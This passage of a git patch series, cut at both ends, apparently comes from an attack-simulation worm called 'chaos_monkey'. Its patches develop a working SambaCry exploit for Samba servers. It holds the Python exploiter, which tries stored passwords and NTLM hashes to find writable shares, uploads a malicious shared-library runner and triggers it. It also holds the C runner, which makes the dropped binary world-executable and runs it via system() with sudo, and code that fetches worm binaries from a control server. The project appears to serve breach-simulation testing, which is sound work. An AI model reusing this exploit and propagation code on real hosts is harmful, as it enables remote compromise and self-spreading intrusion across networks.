COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; const char ACCESS_MODE_STRING[] = "0777"; const char RUN_MONKEY_CMD[] = "sudo ./"; @@ -83,6 +83,16 @@ int samba_init_module(void) return 0; } + // Write file to indicate we're running + pFile = fopen(RUNNER_RESULT_FILENAME, "w"); + if (pFile == NULL) + { + return 0; + } + + fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); + fclose(pFile); + // Read commandline pFile = fopen(COMMANDLINE_FILENAME, "r"); if (pFile == NULL) @@ -106,12 +116,12 @@ int samba_init_module(void) return 0; } - if (0 != fseek (pFile , 0 , SEEK_END)) + if (0 != fseek (pFile, 0 ,SEEK_END)) { return 0; } - monkeySize = ftell (pFile); + monkeySize = ftell(pFile); if (-1 == monkeySize) { @@ -131,19 +141,24 @@ int samba_init_module(void) fclose(pFile); pFile = fopen(MONKEY_COPY_NAME, "wb"); + if (pFile == NULL) + { + free(monkeyBinary); + return 0; + } fwrite(monkeyBinary, 1, monkeySize, pFile); fclose(pFile); free(monkeyBinary); // Change monkey permissions accessMode = strtol(ACCESS_MODE_STRING, 0, 8); - if (chmod (MONKEY_COPY_NAME, accessMode) < 0) + if (chmod(MONKEY_COPY_NAME, accessMode) < 0) { return 0; } system(commandline); - + return 0; } diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h From bb4a168f41b3626ee1dcc10a61bda8e582d4a5f4 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 31 Aug 2017 17:56:35 +0300 Subject: [PATCH 11/19] fix linux paths on spec --- chaos_monkey/monkey-linux.spec | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/monkey-linux.spec b/chaos_monkey/monkey-linux.spec index d11f999f5..c8c4c631b 100644 --- a/chaos_monkey/monkey-linux.spec +++ b/chaos_monkey/monkey-linux.spec @@ -15,8 +15,8 @@ a = Analysis(['main.py'], win_private_assemblies=None, cipher=block_cipher) -a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] +a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')] pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) From 5de433eae0df65340faf9fc19caae852a1ea2504 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 31 Aug 2017 18:40:42 +0300 Subject: [PATCH 12/19] sambacry works default monkey binary in linux is now 64bit --- chaos_monkey/exploit/sambacry.py | 7 +++---- monkey_island/cc/main.py | 2 +- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index cdee14dd8..708898129 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -74,8 +74,7 @@ class SambaCryExploiter(HostExploiter): trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) if trigger_result is not None: successfully_triggered_shares.append((share, trigger_result)) - # TODO: uncomment - #self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) # TODO: send telemetry @@ -117,10 +116,10 @@ class SambaCryExploiter(HostExploiter): tree_id = smb_client.connectTree(share) file_content = None try: - file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) + file_id = smb_client.openFile(tree_id, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) - except (impacket.smbconnection.SessionError, SessionError) as e: + except (impacket.smbconnection.SessionError, SessionError): pass smb_client.disconnectTree(tree_id) diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index 9641e2ae3..cd2da3940 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -30,7 +30,7 @@ MONKEY_DOWNLOADS = [ }, { 'type': 'linux', - 'filename': 'monkey-linux-32', + 'filename': 'monkey-linux-64', }, { 'type': 'windows', From c612ea0361e2b68eb6245e59523dab11e8170d32 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 31 Aug 2017 20:03:32 +0300 Subject: [PATCH 13/19] Documented sambacry, moved everything to configuration, minor fixes --- chaos_monkey/config.py | 25 ++++- chaos_monkey/example.conf | 15 ++- chaos_monkey/exploit/sambacry.py | 162 ++++++++++++++++++------------- 3 files changed, 134 insertions(+), 68 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 659f26120..d8889f1c5 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -220,10 +220,33 @@ class Configuration(object): smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" + # Timeout (in seconds) for sambacry's trigger to yield results. + sambacry_trigger_timeout = 5 + # Folder paths to guess share lies inside. + sambacry_folder_paths_to_guess = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] + # Shares to not check if they're writable. + sambacry_shares_not_to_check = ["IPC$", "print$"] + # Name of file which contains the monkey's commandline + sambacry_commandline_filename = "monkey_commandline.txt" + # Name of file which contains the runner's result + sambacry_runner_result_filename = "monkey_runner_result" + # SambaCry runner filename (32 bit) + sambacry_runner_filename_32 = "sc_monkey_runner32.so" + # SambaCry runner filename (64 bit) + sambacry_runner_filename_64 = "sc_monkey_runner64.so" + # Monkey filename on share (32 bit) + sambacry_monkey_filename_32 = "monkey32" + # Monkey filename on share (64 bit) + sambacry_monkey_filename_64 = "monkey64" + # Monkey copy filename on share (32 bit) + sambacry_monkey_copy_filename_32 = "monkey32_2" + # Monkey copy filename on share (64 bit) + sambacry_monkey_copy_filename_64 = "monkey64_2" + + # system info collection collect_system_info = True - ########################### # systeminfo config ########################### diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index b8131fc61..4612263cb 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -58,9 +58,20 @@ "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, - "local_network_scan": true, "exploit_user_list": [], - "exploit_password_list" = [] + "exploit_password_list": [], + sambacry_trigger_timeout: 5, + sambacry_folder_paths_to_guess: ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'], + sambacry_shares_not_to_check: ["IPC$", "print$"], + sambacry_commandline_filename: "monkey_commandline.txt", + sambacry_runner_result_filename: "monkey_runner_result", + sambacry_runner_filename_32: "sc_monkey_runner32.so", + sambacry_runner_filename_64: "sc_monkey_runner64.so", + sambacry_monkey_filename_32: "monkey32", + sambacry_monkey_filename_64: "monkey64", + sambacry_monkey_copy_filename_32: "monkey32_2", + sambacry_monkey_copy_filename_64: "monkey64_2", + "local_network_scan": false, "tcp_scan_get_banner": true, "tcp_scan_interval": 200, "tcp_scan_timeout": 10000, diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 708898129..d0a751bbf 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -1,51 +1,36 @@ -from optparse import OptionParser -from impacket.dcerpc.v5 import transport -from os import path -import time -import sys -from io import BytesIO import logging import re -from impacket.smbconnection import SMBConnection +import sys +import time +from io import BytesIO +from os import path + import impacket.smbconnection -from impacket.smb import SessionError -from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED from impacket.nt_errors import STATUS_SUCCESS from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE -from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ - SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA +from impacket.smb import SessionError +from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \ + SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE +from impacket.smbconnection import SMBConnection -from exploit import HostExploiter -from exploit.tools import get_target_monkey -from network.smbfinger import SMB_SERVICE -from model import DROPPER_ARG -from tools import build_monkey_commandline import monkeyfs +from exploit import HostExploiter +from model import DROPPER_ARG +from network.smbfinger import SMB_SERVICE +from tools import build_monkey_commandline __author__ = 'itay.mizeretz' -# TODO: add documentation - -# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py - -# TODO: remove /home/user -# TODO: take all from config -FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user'] -RUNNER_FILENAME_32 = "sc_monkey_runner32.so" -RUNNER_FILENAME_64 = "sc_monkey_runner64.so" -COMMANDLINE_FILENAME = "monkey_commandline.txt" -MONKEY_FILENAME_32 = "monkey32" -MONKEY_FILENAME_64 = "monkey64" -MONKEY_COPY_FILENAME_32 = "monkey32_2" -MONKEY_COPY_FILENAME_64 = "monkey64_2" -RUNNER_RESULT_FILENAME = "monkey_runner_result" -SHARES_TO_NOT_CHECK = ["IPC$", "print$"] - LOG = logging.getLogger(__name__) class SambaCryExploiter(HostExploiter): + """ + SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: + https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py + """ + # TODO: is this credit sufficient? _target_os_type = ['linux'] def __init__(self): @@ -53,20 +38,19 @@ class SambaCryExploiter(HostExploiter): def exploit_host(self, host, depth=-1, src_path=None): if not self.is_vulnerable(host): - return + return False writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) LOG.info("Writable shares and their credentials on host %s: %s" % (host.ip_addr, str(writable_shares_creds_dict))) - # TODO: decide about ignoring src_path because of arc detection bug - src_path = src_path or get_target_monkey(host) - + host.services[SMB_SERVICE]["shares"] = {} for share in writable_shares_creds_dict: + host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) - # TODO: config sleep time - time.sleep(5) + # Wait for samba server to load .so, execute code and create result file. + time.sleep(self._config.sambacry_trigger_timeout) successfully_triggered_shares = [] @@ -76,7 +60,8 @@ class SambaCryExploiter(HostExploiter): successfully_triggered_shares.append((share, trigger_result)) self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) - # TODO: send telemetry + for share, fullpath in successfully_triggered_shares: + host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath if len(successfully_triggered_shares) > 0: LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) @@ -86,6 +71,14 @@ class SambaCryExploiter(HostExploiter): return False def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): + """ + Tries exploiting share + :param host: victim Host object + :param share: share name + :param creds: credentials to use with share + :param monkey_bin_src_path: src path of monkey binary to upload + :param depth: current depth of monkey + """ try: smb_client = self.connect_to_server(host.ip_addr, creds) self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) @@ -95,12 +88,18 @@ class SambaCryExploiter(HostExploiter): LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) def clean_share(self, ip, share, creds): + """ + Cleans remote share of any remaining files created by monkey + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + """ smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) - file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME, - RUNNER_FILENAME_32, RUNNER_FILENAME_64, - MONKEY_FILENAME_32, MONKEY_FILENAME_64, - MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] + file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename, + self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64, + self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64, + self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64] for filename in file_list: try: @@ -112,11 +111,19 @@ class SambaCryExploiter(HostExploiter): smb_client.close() def get_trigger_result(self, ip, share, creds): + """ + Checks if the trigger yielded any result and returns it. + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + :return: result of trigger if there was one. None otherwise + """ smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) file_content = None try: - file_id = smb_client.openFile(tree_id, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) + file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename, + desiredAccess=FILE_READ_DATA) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) except (impacket.smbconnection.SessionError, SessionError): @@ -127,7 +134,11 @@ class SambaCryExploiter(HostExploiter): return file_content def get_writable_shares_creds_dict(self, ip): - # TODO: document + """ + Gets dictionary of writable shares and their credentials + :param ip: IP address of the victim + :return: Dictionary of writable shares and their corresponding credentials. + """ writable_shares_creds_dict = {} credentials_list = self.get_credentials_list() @@ -163,13 +174,18 @@ class SambaCryExploiter(HostExploiter): def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] - for share in SHARES_TO_NOT_CHECK: + for share in self._config.sambacry_shares_not_to_check: if share in shares: shares.remove(share) return shares def is_vulnerable(self, host): + """ + Checks whether the victim runs a possibly vulnerable version of samba + :param host: victim Host object + :return: True if victim is vulnerable, False otherwise + """ if SMB_SERVICE not in host.services: LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) return False @@ -199,6 +215,12 @@ class SambaCryExploiter(HostExploiter): return is_vulnerable def is_share_writable(self, smb_client, share): + """ + Checks whether the share is writable + :param smb_client: smb client object + :param share: share name + :return: True if share is writable, False otherwise. + """ LOG.debug('Checking %s for write access' % share) try: tree_id = smb_client.connectTree(share) @@ -217,20 +239,28 @@ class SambaCryExploiter(HostExploiter): return writable def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): + """ + Uploads the module and all relevant files to server + :param smb_client: smb client object + :param host: victim Host object + :param share: share name + :param monkey_bin_src_path: src path of monkey binary to upload + :param depth: current depth of monkey + """ tree_id = smb_client.connectTree(share) with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: - smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read) with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read) with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: # TODO: Fix or postpone 32/64 architecture problem. - smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read) smb_client.disconnectTree(tree_id) @@ -246,9 +276,15 @@ class SambaCryExploiter(HostExploiter): credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) return smb_client - def trigger_module(self, smb_client, share_name): + def trigger_module(self, smb_client, share): + """ + Tries triggering module + :param smb_client: smb client object + :param share: share name + :return: True if might triggered successfully, False otherwise. + """ trigger_might_succeeded = False - module_possible_paths = self.generate_module_possible_paths(share_name) + module_possible_paths = self.generate_module_possible_paths(share) for module_path in module_possible_paths: trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path) @@ -270,13 +306,11 @@ class SambaCryExploiter(HostExploiter): if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: return True else: - # TODO: remove print - print str(e) + pass return False - @staticmethod - def generate_module_possible_paths(share_name): + def generate_module_possible_paths(self, share_name): """ Generates array of possible paths :param share_name: Name of the share @@ -284,21 +318,19 @@ class SambaCryExploiter(HostExploiter): """ possible_paths = [] - for folder_path in FOLDER_PATHS_TO_GUESS: - for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]: + for folder_path in self._config.sambacry_folder_paths_to_guess: + for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]: possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) return possible_paths - @staticmethod - def get_monkey_runner_bin_file(is_32bit): + def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: - return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb") + return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb") else: - return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb") + return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb") - @staticmethod - def get_monkey_commandline_file(host, depth, location): + def get_monkey_commandline_file(self, host, depth, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # From c8d7a2c4d3be1ca0388cbe6327fb310fe6cf1fde Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 3 Sep 2017 11:50:01 +0300 Subject: [PATCH 14/19] SambaCry now works for both 32,64bit --- chaos_monkey/control.py | 98 +++++++++++++++++++++++++------- chaos_monkey/exploit/sambacry.py | 21 ++++--- chaos_monkey/exploit/tools.py | 3 + 3 files changed, 93 insertions(+), 29 deletions(-) diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index cdeb47a76..c2acaa25a 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -156,11 +156,80 @@ class ControlClient(object): @staticmethod def download_monkey_exe(host): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def download_monkey_exe_by_os(is_windows, is_32bit): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( + ControlClient.spoof_host_os_info(is_windows, is_32bit)) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def spoof_host_os_info(is_windows, is_32bit): + if is_windows: + os = "windows" + if is_32bit: + arc = "x86" + else: + arc = "amd64" + else: + os = "linux" + if is_32bit: + arc = "i686" + else: + arc = "x86_64" + + return \ + { + "os": + { + "type": os, + "machine": arc + } + } + + @staticmethod + def download_monkey_exe_by_filename(filename, size): if not WormConfiguration.current_server: - return None + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/monkey/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception, exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host(host): + return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict()) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host_dict(host_dict): + if not WormConfiguration.current_server: + return None, None try: reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), - data=json.dumps(host.as_dict()), + data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) @@ -168,30 +237,17 @@ class ControlClient(object): result_json = reply.json() filename = result_json.get('filename') if not filename: - return None + return None, None size = result_json.get('size') - dest_file = monkeyfs.virtual_path(filename) - if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): - return dest_file - else: - download = requests.get("https://%s/api/monkey/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - - with monkeyfs.open(dest_file, 'wb') as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file + return filename, size + else: + return None, None except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) - - return None + + return None, None @staticmethod def create_control_tunnel(): diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index d0a751bbf..ff4fe41cc 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -18,7 +18,7 @@ import monkeyfs from exploit import HostExploiter from model import DROPPER_ARG from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline +from tools import build_monkey_commandline, get_target_monkey_by_os __author__ = 'itay.mizeretz' @@ -30,12 +30,12 @@ class SambaCryExploiter(HostExploiter): SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py """ - # TODO: is this credit sufficient? _target_os_type = ['linux'] def __init__(self): self._config = __import__('config').WormConfiguration + def exploit_host(self, host, depth=-1, src_path=None): if not self.is_vulnerable(host): return False @@ -47,7 +47,7 @@ class SambaCryExploiter(HostExploiter): host.services[SMB_SERVICE]["shares"] = {} for share in writable_shares_creds_dict: host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} - self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) + self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth) # Wait for samba server to load .so, execute code and create result file. time.sleep(self._config.sambacry_trigger_timeout) @@ -70,7 +70,7 @@ class SambaCryExploiter(HostExploiter): LOG.info("No shares triggered successfully on host %s" % host.ip_addr) return False - def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): + def try_exploit_share(self, host, share, creds, depth): """ Tries exploiting share :param host: victim Host object @@ -81,7 +81,7 @@ class SambaCryExploiter(HostExploiter): """ try: smb_client = self.connect_to_server(host.ip_addr, creds) - self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) + self.upload_module(smb_client, host, share, depth) self.trigger_module(smb_client, share) smb_client.close() except (impacket.smbconnection.SessionError, SessionError): @@ -238,7 +238,7 @@ class SambaCryExploiter(HostExploiter): return writable - def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): + def upload_module(self, smb_client, host, share, depth): """ Uploads the module and all relevant files to server :param smb_client: smb client object @@ -258,8 +258,13 @@ class SambaCryExploiter(HostExploiter): with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read) - with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: - # TODO: Fix or postpone 32/64 architecture problem. + monkey_bin_32_src_path = get_target_monkey_by_os(False, True) + monkey_bin_64_src_path = get_target_monkey_by_os(False, False) + + with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read) + + with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read) smb_client.disconnectTree(tree_id) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 2ed5837f9..97ed8cb8b 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -442,6 +442,9 @@ def get_target_monkey(host): return monkey_path +def get_target_monkey_by_os(is_windows, is_32bit): + from control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) def build_monkey_commandline(target_host, depth, location=None): from config import WormConfiguration, GUID From cc889f9124713e1d84e58f009350fe03abbdcbb6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 4 Sep 2017 14:52:24 +0300 Subject: [PATCH 15/19] Fix CR --- chaos_monkey/control.py | 10 +-- chaos_monkey/dropper.py | 21 +++--- chaos_monkey/exploit/sambacry.py | 45 +++++------- chaos_monkey/exploit/tools.py | 38 +++++++--- .../sambacry_monkey_runner/sc_monkey_runner.c | 73 +++++++++---------- 5 files changed, 91 insertions(+), 96 deletions(-) diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index c2acaa25a..2b440476c 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -174,22 +174,22 @@ class ControlClient(object): if is_windows: os = "windows" if is_32bit: - arc = "x86" + arch = "x86" else: - arc = "amd64" + arch = "amd64" else: os = "linux" if is_32bit: - arc = "i686" + arch = "i686" else: - arc = "x86_64" + arch = "x86_64" return \ { "os": { "type": os, - "machine": arc + "machine": arch } } diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index d624775c6..e56cc0a12 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -8,6 +8,8 @@ import logging import subprocess import argparse from ctypes import c_char_p + +from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from config import WormConfiguration from system_info import SystemInfoCollector, OperatingSystem @@ -44,7 +46,7 @@ class MonkeyDrops(object): def start(self): if self._config['destination_path'] is None: - # TODO: log or something. + LOG.error("No destination path specified") return # we copy/move only in case path is different @@ -93,23 +95,18 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_options = "" - if self.opts.parent: - monkey_options += " -p %s" % self.opts.parent - if self.opts.tunnel: - monkey_options += " -t %s" % self.opts.tunnel - if self.opts.server: - monkey_options += " -s %s" % self.opts.server - if self.opts.depth: - monkey_options += " -d %s" % self.opts.depth + monkey_options = build_monkey_commandline_explicitly( + self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options else: dest_path = self._config['destination_path'] - monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options + # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually + # runs the monkey + inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], - 'monkey_commandline': monkey_cmdline} + 'monkey_commandline': inner_monkey_cmdline} monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index ff4fe41cc..68d1ab1a3 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -4,6 +4,8 @@ import sys import time from io import BytesIO from os import path +import itertools +import posixpath import impacket.smbconnection from impacket.nt_errors import STATUS_SUCCESS @@ -18,7 +20,7 @@ import monkeyfs from exploit import HostExploiter from model import DROPPER_ARG from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline, get_target_monkey_by_os +from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -76,7 +78,6 @@ class SambaCryExploiter(HostExploiter): :param host: victim Host object :param share: share name :param creds: credentials to use with share - :param monkey_bin_src_path: src path of monkey binary to upload :param depth: current depth of monkey """ try: @@ -148,11 +149,7 @@ class SambaCryExploiter(HostExploiter): shares = self.list_shares(smb_client) # don't try shares we can already write to. - for writable_share in writable_shares_creds_dict: - if writable_share in shares: - shares.remove(writable_share) - - for share in shares: + for share in [x for x in shares if x not in writable_shares_creds_dict]: if self.is_share_writable(smb_client, share): writable_shares_creds_dict[share] = credentials @@ -165,6 +162,8 @@ class SambaCryExploiter(HostExploiter): def get_credentials_list(self): user_password_pairs = self._config.get_exploit_user_password_pairs() + + # Add empty credentials for anonymous shares. credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] for user, password in user_password_pairs: @@ -174,11 +173,7 @@ class SambaCryExploiter(HostExploiter): def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] - for share in self._config.sambacry_shares_not_to_check: - if share in shares: - shares.remove(share) - - return shares + return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] def is_vulnerable(self, host): """ @@ -209,8 +204,8 @@ class SambaCryExploiter(HostExploiter): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] 